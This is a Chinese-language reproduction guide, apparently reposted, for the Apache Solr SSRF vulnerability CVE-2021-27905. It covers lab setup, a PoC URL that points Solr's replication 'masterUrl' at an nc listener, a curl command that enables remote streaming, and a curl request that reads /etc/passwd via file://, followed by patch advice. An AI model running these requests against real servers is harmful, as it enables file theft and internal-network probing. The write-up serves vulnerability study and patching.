概述
0x00 简介
Apache Solr是美国阿帕奇(Apache)基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器,使用Java语言开发,主要基于http和Apache Lucene实现的,该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。
0x01 漏洞概述
Apache Solr 8.8.2之前版本存在安全漏洞,Apache Solr 中的 ReplicationHandler(通常注册在 Solr core下的“/replication”)有一个“masterUrl”(也是“leaderUrl”别名)参数,用于指定另一个 Solr core上的另一个 ReplicationHandler 将索引数据复制到本地core。为了防止 SSRF 漏洞,Solr 应该根据它用于“shards”参数的类似配置检查这些参数。攻击者可利用该漏洞,传递特定参数,构造并执行服务端请求伪造,造成攻击者任意读取服务器上的文件,利用该漏洞可造成内网信息探测。
0x02 影响版本
Apache Solr < 8.8.2
0x03 环境搭建
1.下载源码,下载地址为:http://archive.apache.org/dist/lucene/solr/8.8.1/
解压进入bin目录,终端运行,
./solr start -p 6677
2.访问Solr服务
http://192.168.141.131:6677
3.点击左侧Core Admin,创建一个core
如果在点击Add Core时出现错误
把server/solr/configsets/default/conf文件夹复制到new_core文件夹下即可
然后再点击Add Core即可创建成功
0x04 漏洞复现
1.使用poc进行验证
首先nc监听本地端口
nc lvp 8484
访问如下链接,即可反弹信息
http://127.0.0.1:6677/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.141.131:8484
结果如下:
2.下面为读取任意文件:
访问http://ip:6677/solr/admin/cores?indexInfo=false&wt=json ,可以看到刚才创建的core,通过以下API可以获取所有内核名称 。
3.通过命令行开启远程任意文件读取
curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --data-binary '{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.141.131:6677/solr/new_core/config
-i 查看header头信息
-s 不输出统计信息
-k 使用能忽略证书不受信问题
-X 指定POST请求
-H 添加http请求的标头
-d 用于发送post请求的数据体
4.利用file协议读取/etc/passwd文件:
curl -i -s -k 'http://192.168.141.131:6677/solr/new_core/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
0x05 防护建议
1.升至8.8.2及以上的最新版本,https://solr.apache.org/downloads.html;
2.打上 https://issues.apache.org/jira/browse/SOLR-15217 中的补丁;
3.限制请求协议和用户提交的url,应用防火墙对其进行检测 。
最后
以上就是甜美春天为你收集整理的CVE-2021-27905 Apache Solr 服务端请求伪造漏洞复现的全部内容,希望文章能够帮你解决CVE-2021-27905 Apache Solr 服务端请求伪造漏洞复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复